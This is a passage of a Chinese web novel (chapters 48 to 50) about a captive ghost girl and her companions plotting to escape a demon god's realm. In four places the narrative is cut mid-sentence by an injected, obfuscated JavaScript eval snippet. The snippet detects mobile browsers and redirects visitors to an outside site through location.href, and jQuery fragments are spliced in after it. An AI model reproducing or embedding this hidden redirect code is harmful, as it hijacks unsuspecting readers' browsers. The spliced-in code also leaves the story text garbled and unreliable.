有的土块太轻,不足以出发土地机制,小白便用它们来标记必有岩浆的格子,提醒大家避开格子行动。 经过他有条不紊的的探索和规划,很快,幸存的二十四名鬼魂全部通过干涸大地,来到了对面的绿洲之中。 瞬间的清凉令他们顿感舒适,但还没享受多久,被炙烤的灼烧感便再次将他们笼罩。 周围草木瞬间凋零,金乌出现在了他们面前。 她火红的眼眸直勾勾地盯着站在鬼群中的小白,一脸兴奋朝着小白走去,其他鬼魂急忙为她开路让道。 金乌在小白身前半蹲了下来,笑望着他的眼睛,道:“做我的恋鬼吧。” 虽然没有触碰,但她察觉到了他的身份。 小白对她冷哼一声,不屑道:“抱歉,有主了。” 金乌想都没想便道:“那我就帮你杀了她。主人一死,恋鬼就会恢复自由身。” 原本神色淡然的小白瞬间情绪激动起来,双手燃起青色火焰,虽明知金乌能力远在自己之上,却做好了拼死住主的决心。 他面露杀意目含凶光,语气冰冷到了极点,咬牙切齿对金乌道:“你敢!” 金乌见状更为欣赏:“很忠诚,我喜欢。” 以为他是不知道恋鬼的一些特性,便提醒道:“你可知恋鬼的能力强度与主人实力密不可分?你是有着强大潜力的恋鬼,可如今你的能力连一成也没发挥出来,足以见得你的主人有多废物。你跟着她实在太可惜了,若跟着我,不但能将你的实力完美发挥,还可成倍增加,岂不比跟着她强千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866772|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倍百倍?” 虽然恋鬼不能弑主,但有的恋鬼确实会因为主人不够强大,故意设法害死主人去找更强的新主。 这是恋鬼本能,更是这世间的法则催生出的生存之道,她相信他定然不会拒绝。 却没想到这番话竟令那恋鬼更为愤怒,甚至于被怒火冲散了理智,挥起拳头便朝她砸来。 “不许你这么说我的主人!” 但双方实力过于悬殊,她稍一抬手便拦住了他的手腕。 无视他不计代价的挣扎,接触到他的魂体后,她读出了他主人的样貌。 有点眼熟。 稍一回忆,她顿觉惊讶又好笑:“是她?” 魔神大人的新宠物,靠出卖尊严而活废物,能力更不必说——比一般小鬼还要弱。 她心中更是为面前的极品恋鬼打抱不平,当即便站直了身体,沉着脸道:“不能再让她耽误你了,我现在就去杀了她。” 随即化作火鸟,消失于天际。 这下小白彻底慌了。 …… 主神殿,夏月明窝在苍弭身侧,等待新的魔将来提交新员工的“简历”。 “来了。”苍弭冷声道。 她满心期待地坐直了身体,却见一团炽热烈焰朝自己冲击而来,未待她做出反应,便被苍弭护入怀中。 等她意识到发生了什么的时候,魔将金乌已然身受重伤,趴在了殿前。 她不解地捂住胸口,质问苍弭:“魔神大人为了护她而伤我?为何?她只是一只没用的宠物啊!” 苍弭翻开小册子,淡淡道:“不为何,打狗也得看主人。” 一句话让夏月明心里不断膨胀的感激漏气了。 见她对当下场面仍是一头雾水,苍弭道:“你的恋鬼来找你了,不只是如何混进来的。” 一头雾水骤然炸开,她慌忙问道:“他在哪?他没事吧?” 苍弭道:“金乌负责的游戏里,他是赢家,带着二十四名鬼一起通关。” 知道他暂时安全,夏月明终于松了口气,但悬起来的一颗心仍是放不下来。 这里有多危险她是知道的,进来容易,出去可就难了。 见她心绪难平,为了转移她的注意力,苍弭对金乌道:“讲讲具体经过吧。” 金乌虽不甘心,却仍一五一十将岩浆游戏的情况仔细汇报了一遍。 夏月明听完情绪复杂,既为小白的危险处境而后怕,又为他的机智反应而惊叹。 岩浆游戏的规则听起来和她在现代世界玩过的“扫雷”很像,但没有接触过“扫雷”的小白能在第一时间就摸清规则,这一点连她都未必做得到。 不知他在游戏中可有受伤,现在又是否为了护她周全而在伤害自己,她迫不及待想见见他,确定他的状况,告诉他不要担心。 一时慌乱,她扬起头来,恳切地向苍弭请求道:“我想见见他。” 苍弭静静地望着她的眼睛,神色喜怒难辨。 沉默良久后,他轻轻摸了摸她的头发,淡淡道:“无论从前你是谁,做过什么,又与谁有过何种羁绊,在千魔窟,你只有一个身份——我的宠物。” 48. 心音觉醒 “嗯……”她失落地低下头,第一次这样痛恨自己的弱小。 苍弭挥了下手示意金乌退下,神色冷淡地望着身侧宠物。 也许屠苏说得对,他真的把她惯坏了,竟让她忘记了自己的身份。 可为何看她这副模样,心里会有烦乱难受的感觉呢? 他伸手变出小册子来翻了又翻,试图找到答案。 若是从前,她一看他翻那册子就会紧张起来,谨慎地斟酌起自己是否有不符合宠物习性的行为。 但现在她却无暇揣摩他的情绪,只忧心着小白的安危。 种种不好的猜想浮现在她的脑海之中,令她无法冷静。 小白、小白、小白…… 便在她最为心烦意乱的时刻,心底响起一声熟悉的呼唤。 “主人。” 清朗的声音温柔如旧,语气中的担忧比她更甚。 隔着重重屏障的第一魔域之中,小白也听到了她的呼唤。 彼时他目色猩红、魂力暴起,已然一副失心癫狂的模样,试图飞蛾扑火、以卵击石,与威胁到主人性命的强大对手同归于尽。 却在听到她的呼唤的瞬间,恢复了理智。 魂力泻尽,他的身影比以往都更加单薄。 他轻声唤她,内心又是庆幸,又是担忧,神情又像是笑,又像是哭。 而后他忽然意识到了什么,惨白的面容上瞬时绽开了欣然笑意,明亮桃眼中泛起幸福的光。 ——终于,他和主人心意相通了! 当主人和恋鬼同时全心全意、极致热切地挂念着对方的时候,就会觉醒恋语心音。 心音觉醒后,恋鬼与主人的羁绊加深,默契更甚从前,恋鬼自身能力也会随之大幅度增长。 但最令他开心的,是在这一刻,在他迫切想要见到主人的时刻,他的主人也在迫切地想着他。 心音对岸,夏月明神色惶然。她并不知恋鬼的这些特性,只当自己是出现了幻听。 看她心不在焉的状态与往常完全不同,明明就在身侧,苍弭却感觉自己离她越来越远。 或者说,从来就没有近过。 一时烦躁,他站起身来大步离去,又在走到殿门口时停下脚步,冷声提醒了句:“他通过了金乌的筛选,也有资格参与最终选拔,你很快就能见到他。” 终是不忍。 说完他头也不回,离殿而去。 望着他强大而冷漠的背影,夏月明目色一沉,决定要加速自己的出逃计划了。 在听到小白来到这里的那一刻,她心里还有一个不安的猜想。 鬼医、听觉天赋……先前听到的领袖玩家,会不会也是她熟悉的伙伴们? 无论如何,她一定要在一切不可挽回之前,带伙伴们安全地离开这里。 …… 屠苏带夏月明回到寝殿时,李灵恪已躲在房梁上等了她许久。 这段时间,他利用飞爪穿梭于各个神殿之间,很快就掌握了第一魔将栖风的动向。 虽然飞爪有足够攀上山崖的长度,却无法捕捉到栖风所在的魔域,他只能根据她的行动规律,监控她在神殿出没时的动向。 终于让他看到她出去的时刻了。 好消息是出口就在副神殿下方的一处地块上,那里有一片小花园,绕满花藤的拱门便是离开此处的传送门。 坏消息是那传送门需远超凡人的能量才可启动,除了魔神和几位将领之外,千魔窟内没有能做到的,包括原属于这里的神官和魔官。 夏月明沉思良久,别无他法,于是做出了一个大胆的决定。 既然只有将领和魔神才能启动传送门,那就绑一个将领来帮他们启动。 这计划过于复杂,她无法不动声色地传递给李灵恪,便先以简单的手指动作,比划出了计划的第一步——拿到相机。 相机是她在此世界中最熟悉,又有能力封印神官的唯一神器。 李灵恪自然没有理解她的手势,但见惯现代生活的诅咒一眼便知,作为「神之眼」感应范围内的第二大bug,他直接把她的意图口述给了第一bug李灵恪。 李灵恪听罢皱起眉来,忧心道:“你不是说过,千魔窟内原本就有的一切物品,都逃不过「神之眼」的感应吗?我一拿神器肯定会惊动那个魔神,我要怎么逃?” 夏月明心道:“不用逃,直接拿起相机,谁来照谁。” 但这样就等于是直接和苍弭摊牌了,所以需要找到一个合适的时机才行。 她看了眼殿外天色,自语道:“今天没有红霞,看来需要等一等了。” “嗯。”李灵恪拿出飞爪严肃道:“这几天我都会守在宝器室,等你信号。” 知他听懂了她的意思,她深深地眨了下眼。 待诅咒确定四下没有神官之后,李灵恪挥出飞爪,蹿出了寝殿。 入夜,苍弭回了寝殿,没像往常一样拿出狗尾巴草逗弄她,只沉默地将她抱入怀中,离开了寝殿。 他沿着台基尽头的漫长阶梯朝前行去,全身没入云朵后又过了良久,面前出现了一座金光神殿。 神殿虽然看起来比主神殿面积小了不少,气场却更为庄严。 夏月明心知今日表现过于掉线,有意缓和同他的关系,便先打破沉默,好奇问到:“主人,这是什么地方?看起来好气派啊。” 苍弭没有理她,冷漠地抱着她进入神殿。 在金碧辉煌的神殿中央,六位魔将神色威严地成排而站,在他们面前,是约百位神色惶然的厉鬼。 小白、阿九、小婵都在其中。 夏月明心惊,竟然都来了。 苍弭不知她竟认识那么多鬼,只以为她的情绪波动是因为小白,当下脸色更沉了些。 他抱着她走到魔将身侧,在场却没有一个鬼注意到他们,只是自顾自地窃窃私语。 苍弭道:“他们看不到我们。” 夏月明松了口气。 她还没做好万全准备,贸然与他们相认的话,情况恐怕会更不可控。 “主人,我想再近一点。” 苍弭有「神之眼」,再远也能听到他们的谈话,故而有意与众鬼魂保持着距离。 他沉默良久,还是不情愿地走近了些。 正好是小白他们所在的区域。 小白神色烦乱,心不在焉地不知在想些什么。她一靠近,他便似是感应到了一般,惊讶地四处张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866773|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望起来。 其他伙伴却是面色沉沉,低声讨论着接下来将要面临的最终游戏。 她听了几耳朵,大概明白了这游戏的基本规则。 在场所有的幸存鬼,将会被带去一个名为神域的地方,进行一场类似大逃杀的游戏。 这次游戏没有任何漏洞,只会诞生一个终极赢家,其余鬼魂将全部消散于神域。 没想到提心吊胆走过生死局之后,迎来的竟是更绝望的生死局,多数鬼魂都很悲观,忧心忡忡。 但也有实力强大者,自信满满地傲视群鬼,准备大展拳脚厮杀一番。 夏月明心下悲凉。 悲观也好振奋也罢,他们却都不知,这场选拔的最终目的,只是为了选出一只牲口。 这时鬼群中传来几声啜泣,夏月明循声望去,一个申公豹同款发型的小孩正穿过重重鬼群,朝着小白他们走来。 正是小草。 他个头太小,她一开始竟没注意到,更没想到他也会来。 她凝神细听,听见小草边哭边自责地同伙伴们讲述了他在上一场游戏中的经历。 他和依依都被分到了魔将凛啸负责的游戏中,游戏形式类似躲猫猫,三名鬼负责找,其他鬼负责躲。 躲藏者可以变成冰雪庄园内的任何物品,搜查者需要找出所有的躲藏者,并将他们冻住才可获胜,否则胜者就是未被找到的躲藏者。 躲藏者一但被冻住便无法恢复原形,只能永远地成为魔窟中的一个物件。 而搜查者若是失手,便会直接被凛啸当场处决。 不幸的是,小草和依依被分到了对立的身份,小草是搜查者,依依是躲藏者。 最后时刻,所有躲藏者都被找到,唯有依依一个漏网之鱼。 眼看凛啸手中的风暴就要覆盖住三名搜查者,将他们全部撕碎,关键时刻,依依自曝了。 为救小草,她的灵魂被永远地封印在了凛啸制作的冰雕之中。 小草说到最后已经泣不成声。 众鬼魂面色沉重,他们都知晓依依这样做的目的。 搜查者失败只有死路一条,而躲藏者失败后仅是化为物品,这样看来好像让搜查者赢就没有鬼会牺牲了。 但这样的得失判断过于浅显,因为他们皆不知,在魔窟中的物品过的是怎样的生活。 也许会比当场消散更为痛苦。 夏月明沉重地闭上双眼,试图将因惧怕失去伙伴而变得燥乱不堪的思绪全部静止。 深呼吸了几轮后,她缓缓睁开眼睛,明亮双眸变得比往常任何时刻都更加坚定锐利。 她已想到了救依依的办法,只是这办法需要她违背自己的职业原则。 在爷爷留下的笔记上,有一类术法被明确写下了“禁用”的警告,这类术法统称邪术。 在她决定成为灵术师之前,也曾对照爷爷的笔记走流程发过毒誓——邪术仅为预防和识破而学,绝不使用。 若违背从业誓言,则先师不佑,孽力反噬,万雷轰顶。 但在当下情形之中,除了此术,再无破局之法。 她只能敬畏而虔诚地,在心中向所有灵术先辈谢罪,并做好了承担一切后果的准备。 49. 移魂 最终游戏开始的时间定在了两天后。 苍弭将夏月明送去寝殿后,又独自回到主神殿,同十二位将领商讨游戏的具体事宜。 藏在横梁上的李灵恪原本想去偷听一下会议内容,却被诅咒叫住了。 “喂,傻小子,她看上你的身体了。” 李灵恪听完一惊,忙将双手护在了胸前。 夏月明无奈,一边玩着跳格子一边又同他们比划了好几个动作。 诅咒看罢邪恶地笑了起来,再次对李灵恪翻译道:“她想玩玩你的身体。” 夏月明:…… 看她急成热锅上的蚂蚁,诅咒乐得捧腹大笑。 但他总算还有些分寸,知道若夏月明的计划不能顺利实施,他自己也没办法逃出去,便在玩心稍微满足了之后,认真地同李灵恪翻译道:“她想以移魂之术,借你的身体一用。” 李灵恪讶异道:“移魂?那可是禁术!” 夏月明惊讶于两个世界从业原则的一致,心道原来这个世界也有移魂之术。 她正犹豫要如何用有限的动作来说服李灵恪,就见诅咒仿佛找到主场一般,胸有成竹地将胳膊搭在了李灵恪的肩膀上,驾轻就熟地开始套路起他。 晓之以理,动之以情,道德绑架,再上价值,一套组合拳打下来,原本对此心存忌惮的李灵恪已然一脸慷慨就义、从容赴死的姿态,他主动掏出黄符来,请教夏月明该如何施术。 夏月明拿起一根狗尾巴草,假装无聊地甩来甩去,李灵恪便照着狗尾巴草的轨迹,在黄符上画下符图。 此术共需五张不同的符咒,施术之时,生人与鬼魂的动作也需完全同步。 虽然有被苍弭察觉的风险,但时间有限,她只能冒险照做。 果然,术法刚一结束,苍弭就出现在了寝殿外。 他在开会时,察觉到宠物的魂位发生了一步的偏离。 这便亲自过来,查看异常。 彼时魂穿李灵恪的夏月明还没掌握飞爪的使用,意识到苍弭到来的诅咒立刻现形,将她抱到了房梁上。 苍弭一进殿门,便看到李灵恪所变的夏月明一脸天真地甩着狗尾巴草,好像没有异常,又好像哪里都是异常。 看他若有所思,似在怀疑什么,李灵恪忙模仿着自己眼中夏月明的样子,颇为羞耻地冲到他的面前,夹着嗓子甜甜地道:“主人怎么这么快就回来啦?” 夏月明一脸黑线。 原本自知心中算计,没觉得怎么样的行为,看别人用自己的样子演出来,就……恨不得当场用脚趾再扣出一座神殿来。 诅咒更是捂嘴憋笑,快要憋出内伤了。 苍弭神色冷峻,将神殿四处打量了一遍后,又将视线投在了李灵恪身上。 为掩饰自己的慌乱神情,李灵恪一时情急,直接抱住了苍弭的腿。 苍弭讶异低头,随后变出那小册子来,仔细翻阅。 房梁上的夏月明和诅咒都不自觉屏住了呼吸,因为从前的她虽然偶尔会模仿宠物姿态卖乖,但向来有刻意同他保持距离,从没有如此突然地、主动地与他近距离亲密接触过。 李灵恪现在的行为,与从前的她反差过大。 众鬼默默祈祷,希望那小册子能给出一个合理解释,暂且将苍弭的怀疑应付过去。 幸运的是,苍弭果然在册子上找到了对应的描述。 不幸的是,那描述的内容有些露骨。 苍弭看罢浅浅地皱了下眉,恍然道:“原是发情了。” 众鬼魂:啊这…… 宠物发情该怎么办,他们虽看不到书上是怎么写的,但猜也猜得到,无非是两种处理方案,□□或绝育。 李灵恪满脸惊恐,虽然前者他也十分抗拒,但非要二选一的话,可千万不要是后者啊。 苍弭好似听见了他的心声一般,贴心地替他选择了前者。 不多时,金乌便十分不情愿地将拼死挣扎、一身狼狈的小白送来了寝殿。 在看到主人的一瞬,暴躁的恋鬼镇定下来,不可思议地揉了揉自己的眼睛。 这些日子他不曾有过一刻松懈,时时感应着自己和主人的羁绊,生怕主人死亡,羁绊断了。 此刻终于放下心来,眼眶发暖,有种劫后余生的庆幸。 待听得金乌带他来此的意图之后,他当场愣住,噌的一下涨红了脸。 魂体发烫的同时,银色眼眸的正中央也变成了粉色的小桃心。 这是恋鬼情动的征兆。 他喉头滚动,缓步朝着李灵恪靠近,待李灵恪大惊失色退到床边时,顺势温柔地揽住他的腰身,缓缓将他推倒在床。 气氛逐渐升温,陷入情动状态的恋鬼便如吞了春-药一般,若不完成与主人缠绵的执念,整个魂体都会难受无比。 但他却在快要吻住他的唇的前一刻停下动作,厌恶地扭头,对着正站在他们身后冷漠旁观的苍弭和金乌不爽地道:“喂,你们就这样看着,叫我如何放得开?没人教过你们,这种时候应该回避的吗?真是煞风景。” 苍弭听罢看了金乌一眼,又翻出小册子斟酌了一下,随即转身离殿。 确认他们离开以后,夏月明与小白同时松了口气。 在听到苍弭命令的那一刻,小白便明白了主人的处境。他在克制与沉沦之间,努力抵抗着身体的欲望,来配合她演戏应付苍弭。 只是这出戏令他太难受了,就好像有一根羽毛,不断地在他心里挠来挠去。 在情欲的极限拉扯之下,他费力地拽住理智,怕一朝沉沦,便是万劫不复,再也抓不回来了。 直到主人的声音从身后响起,他才尴尬地发现,方才的一番情动竟然错付了对象。 夏月明在诅咒的帮助下从房梁上跳到地面,带着歉意对床上的两个鬼道:“小白、灵恪,辛苦你们稍微再演一下,我去救依依。” 小白瞳孔中的小心心瞬间破碎,难以置信地瞪大眼睛,看着近在眼前的主人的脸,内心非常崩溃。 灵恪?那个臭小子?! 他火热的魂体顿时降至了冰点,粉色的桃心也化作了满眼的失落和嫌弃。 知道原来他也是在演戏,被他压在身下的李灵恪松了口气,对他露出一个尴尬而不失礼貌的微笑。 但即使双方都非常抗拒,在「神之眼」的监控下,他们还是不得不演出情意绵绵的样子。 于是两个鬼一起一脸诡异笑容地抱住对方,在床上僵硬打滚。 若此事传出千魔窟,那他们宁愿直接消散,换个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866774|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世生活。 滚着滚着,一颗火红色的珠子从李灵恪的领口中掉了出来。 先前夏月明和李灵恪换灵魂的时候,为了不被识破身份,把一直随身携带的妖丹给了李灵恪。 这妖丹妖力旺盛,能盖住魂体原本的气息,帮她掩藏身份。 因而李灵恪拿到妖丹,也可以有与她同样的气息。是以小白和苍弭都没识破原来她是李灵恪变的。 原本碧绿的妖丹在碰到李灵恪掌心的瞬间,便变成了红色。 气的。 但此时此刻,妖丹在旁静静见证着这两个讨厌鬼的胡闹,竟默默变回了碧绿色。 林蔓残存其中的一缕意识兴奋地下定决心,一旦有机会恢复原身,定要将这床上风光大肆宣扬,给全天下都知道这两个臭小鬼的糗事。 …… 夏月明知道,在千魔窟中,被做成物品的鬼魂都会被存放在石堡内。 在诅咒的帮助下,她很快便来到了这里。 有了实体的她实力大增,仅用一张隐身符便顺利潜入了石堡之中。 先前苍弭带她来的时候,所有物品都会向他们高声请安。因而她知道,这里的每一件物品中都有一个灵魂。 为防意外发生,她一进石堡便给印象中所有说过话的物件都贴上了定魂符。 但石堡很大,想要找一个不知具体形态的物件就像大海捞针一般,时间有限,她不得不用手段,逼问了几只附在墙面的小鬼。 但小鬼们宁死不屈,非但没问出线索,还暴露了她自己的行踪。 很快屠苏就带着四名魔兵,进入城堡来捉拿她。 幸而她在审问前便做好了一无所获的准备,一察觉身份暴露便立刻转移位置藏了起来,才没被他们当场拿下。 她藏在一间无门的小仓库中,刚缓了口气,屠苏就搜查到了这里。 说是仓库,这里却什么物品也没有,她测试过墙面无鬼,便以为自己安全了,谁料库外烛台内,竟藏着一只鬼。 屠苏盘问烛台鬼:“可看到有人过来?” 夏月明心道不妙,正欲掏出法器逃命,却听那烛台声音沉稳,淡淡道:“没有。” 石堡内的鬼魂是不敢欺瞒魔神的,屠苏只将仓库打量了一番,便匆匆去搜查其他房间了。 隐身于仓库内的夏月明松了口气,确认屠苏走远后,小心翼翼走出了仓库。 她对烛台抱拳行礼,认真地道了声谢。 烛台不能同她说话,只以一瞬的明灭回应了她。 她正要走,又见烛台焰火朝着一侧闪动了一下,她诧异一瞬,惊讶道:“你是想告诉我,我要找的鬼在那边吗?” 烛火照常明灭,夏月明惊喜不已,连声致谢。 她不知烛台身份,亦不知烛台为何要帮自己。 可烛台内的鬼魂却记得她。 记得她在自己快要被折磨得放弃自我的时候,温柔地问他:“你的梦想是什么?” 在那一刻,他于业火焚烧的悬崖上紧紧拽住了将要坠入深渊的自我,虽未能摆脱成为物件的命运,却于这黑暗地狱中,找到了照亮自己的光。 于是他也燃起了光,期盼着在某一天,可以照亮这地狱。 而现在,他照亮了她。 50. 明里撒娇,暗度陈仓 有了烛台的提示,夏月明不再像个没头苍蝇,很快便找到了依依所在的房间。 知道她在找她,屠苏特地派了一名魔兵守在这里,虽然魔兵有意隐蔽了自己,但他们都不知夏月明身上还有个能小范围搜查的“外挂”——诅咒。 魔兵的存在让她更加确信,依依就在那个房间。 黑色诅咒适时脱离她的身体,在其他房间内四处流窜捣乱,利用房内鬼魂的惊呼告状,将屠苏吸引了过去。 趁此机会,夏月明潜入房间中,在房内除冰雕之外的所有物品上,都贴上了封印符,以让他们暂时无法行动,也无法听到自己接下来要说的话。 做完这一切后,她走到冰雕跟前,认真道:“依依,接下来无论我说什么你都不要回应。我是林蔓,整个千魔窟发生的任何事情魔神都会知道,除了肉身存活的人以外,所以我借了这少年的身体来找你。我暂时不能救你离开,那样会被魔神感应到,但不管发生什么,我都会带你们一起,好好地回毕宿宫。” 冰雕的造型是迷你版的苍弭,一动不动没有表情,虽然小草曾说过依依被凛啸做成了冰雕,但看着那张熟悉又陌生的脸,看着那脸上栩栩如生的淡漠神情,她心里一时也没有底,依依的魂魄到底是不是在这个冰雕里, 便在这时,她看到冰雕深邃的眼眸中,融化出了一颗晶莹的水珠,宛如泪水一般。 她放下心来,对着冰雕微笑点头,而后迅速离开了房间。 虽然只是微不可查的一滴泪,但按从前经验来说,「神之眼」也一定能捕捉到的。 令她意外的是,直到她与诅咒重新汇合,屠苏也没有改变原先盲目搜查的动作,似乎并不知晓她已进入过那房间。 带着疑问离开地堡,行至半路时她终于反应过来了。那滴泪,不是冰雕所化,而是依依自己所流。 因她半人半鬼的魂体特质,才没被「神之眼」察觉。 夏月明轻抚眼角,一刻不停地回到了寝殿中。 彼时李灵恪正慵懒地躺在魔神身上睡觉,一脸惬意。 诅咒忍不住道:“他还挺会享受。” 待她在房梁上藏好之后,移魂术的时限也正好到了,她与李灵恪的魂在瞬间易位,她趴在了苍弭身上,李灵恪变回了人身。 为了掩盖刚才易位的动静,夏月明魂体一归位便从苍弭身上滚了下去。 想让他误以为放才的动静是因为自己的翻身, 苍弭睁开神眸看了她一眼,夏月明不敢妄动,虽然看着仍是慵懒地躺在他的身边,却已做好了随时跑路的准备。 好在苍弭沉默良久,似是并未怀疑什么,只侧过身来,从后抱住了她。 他低声道:“往后两日,我需去人间两趟,你照顾好自己,莫要惹事。” “嗯。”夏月明乖乖应声,内心狂喜。 机会来了。 她心念急转,瞬时便想到一个有趣的注意。 于是故意将手搭在了苍弭的手上,轻声道:“主人,我舍不得你,你不要走好不好?” 苍弭神色讶然,而后变得温和起来,淡淡道:“为了净化人世,我必须走。” 净化人世? 夏月明心道好标准的中二反派台词。 虽不知他到底要出去做什么,但她也不便过问,当下重点不在于此,多问反而徒增破绽。 又同他卖了几句乖之后,她直奔主题道:“主人,到时我能去送送你吗?” 苍弭沉默稍许,淡淡应道:“好。” 次日午后,苍弭带夏月明来到了副神殿下的小花园。 她看到了李灵恪所描述的花藤拱门。 没有多余的告别的话,苍弭在拱门前将她放下,轻轻摸了摸她的头发,而后便朝着拱门上方的晶石注入神力,当神力填满晶石之后,拱门中心便出现了一道泛着波纹的幕帘,这便是去人间的传送阵了。 夏月明故意做出一副不舍的样子,又殷切地朝拱门走近几步。 苍弭并未起疑,扭头再看了她一眼之后,迈步走出传送门。 他离开后过了一秒,门上晶石黯淡,传送门消失。 屠苏要带夏月明回去,夏月明却不肯走,一脸难过地靠坐在门边,可怜兮兮地问道:“主人什么时候回来?” 屠苏道:“不知道。” 她一脸执着地道:“那我就在这里等到他回来。” 那不舍思念的神情,甚至让屠苏都开始怀疑自己从前是不是对她偏见太深。 他难得语气没那么生硬地叮嘱她:“那你就先留下吧,想走的时候随时喊我,我会来接你。” “嗯!谢谢你。” 屠苏走后,夏月明默默松了口气。 她是要等,但不是为了等苍弭,而是为了等诅咒。 就在刚才苍弭出去的一瞬,化于无形,又不会被神之眼察觉的诅咒也紧随其后溜了出去。 但诅咒无法离开她超过二十米的距离,所以她必须守在门口等着他。 …… 跟着苍弥偷偷穿越传送门之后,诅咒来到一个平平无奇的洞窟之中,幸而洞窟深度仅有十米左右,他不断附着在各种石块之上,渐渐移动到了洞窟之外。 绕开洞窟守灵后未能前行多久,便到了活动范围的极限,再无法前进。 于是他捡起地上石块,朝着印象中江汀浅和宁渊所在的位置扔去。 不多时,两位少年果然跟着线索摸索了过来。 第一次看到诅咒具象化形态的阿浅吓得躲到了宁渊身后,这让诅咒非常满意,他喜欢被弱小的人类所惧怕。 因而后来的许多次接触中,他也会故意时不时地吓唬阿浅一下,找回因被可恶的夏月明支使,和被那个神秘男鬼威慑后所剩不多的高贵尊严。 听诅咒说明来意后,阿浅不得不礼貌地站出来,同他打了声招呼。 不知苍弭何时回去,时间有限,诅咒大致同他们讲了遍夏月明的计划,而后两位少年按照诅咒描述的符图,各自画了一张进阶版的隐身符贴在了自己脑门上,引开门口守灵,藏入了洞中。 在洞中等待了差不多一个时辰后,苍弭终于回来了。 他用神力启动了洞窟墙面的传送门,两位少年屏气凝神,在他穿过传送门的一瞬间,紧随其后挤了进去。 门口风光入眼的一瞬间,在黑暗洞窟潜伏太久的两位少年都不自觉用手遮了下眼睛,而后被眼前风景震撼住了。 这哪里是魔窟,分明是世外桃源啊。 宁渊最先看到了坐在门边的夏月明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866775|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见她满面愁容,身边又站着两位高大巨人,还以为她是被囚禁在此了。 但紧接着,他便又看到夏月明满面欢喜地站起身来,很自然地牵起了他们尾随而来的巨人的手。 那巨人全身泛着金色圣光,令人心中莫名敬畏,不敢靠近。 另一位看着凶巴巴的巨人告诉圣光巨人:“你一走,她便一直坐在这里等着你了。” 圣光巨人听罢愣了一瞬,淡漠神容上竟泛起了浅淡笑意,伸手将夏月明捞入怀中。 虽然诅咒已提前给宁渊和阿浅打过预防针,但这一幕仍令他们十分震撼。 苍弭走后,宁渊和阿浅不敢有片刻耽误,立刻照着诅咒同他们简述的计划,去找毕宿宫的其他鬼魂。 夏月明则继续扮演着乖顺的宠物,降低苍弭的防备心。 很快,就等到了苍弭第二次离开魔窟的时机。 这一次苍弭一走,夏月明便回到寝殿,示意李灵恪可以行动了。 屠苏正好奇为何宠物这次不在门口等着主人,便感应到宝器室的神器被移动了位置。 刚拿到相机的李灵恪还没来得及跑几步,屠苏巨大的身体便拦在了他的面前。 他甩出飞爪,按照早已设计好的逃跑路线躲开了屠苏的攻击,但终是能力有限,很快便被屠苏堵在了死路上。 眼见屠苏壮硕的拳头就要朝着自己冲击而来,李灵恪吓得两腿哆嗦。 便在此时,诅咒抱着夏月明来到了屠苏身后,对李灵恪大喊道:“把相机给我!” 李灵恪迅速反应过来,抬起胳膊将相机扔向了她。 屠苏伸手要拦,电光火石间,诅咒飞身先手一步,抢到了相机。 在屠苏愤怒转身要攻击她的瞬间,诅咒抱着夏月明迅速后退了几米,相机镜头终于捕捉到了他的全身。 她趁机按下快门,将他封印在了照片之中。 面前庞大的阻碍瞬间消失,李灵恪震撼不已,难以置信地看着夏月明手中的小方纸,那大块头就这样怒火中烧地被封印在了里面。 夏月明将相机和照片一同交给李灵恪,让他放进了乾坤袋中。 当诅咒再带她回到传送门旁边时,苍弭也正好回来了。 看到宠物仍在等着自己,苍弭心情大好,但很快他便感应到千魔窟中的异常。 屠苏不见了。 夏月明像无事发生一般开心上前,主动牵起了他的手,见苍弭不动,他疑惑地抬起头来,好奇问道:“怎么了主人?” 苍弭深邃的神眸仿如薄雾中的圆月一般充满神秘,静静地、探究地望着她,似要透过她的眼睛,望进她的心里。 夏月明轻轻拽了下他的手,又问了一遍:“怎么了主人?” 看她似乎真的一无所知,苍弭抬起头来,伸手感应了一下传送门上的晶石,确认屠苏并未出去过后,沉声道:“屠苏不见了。” 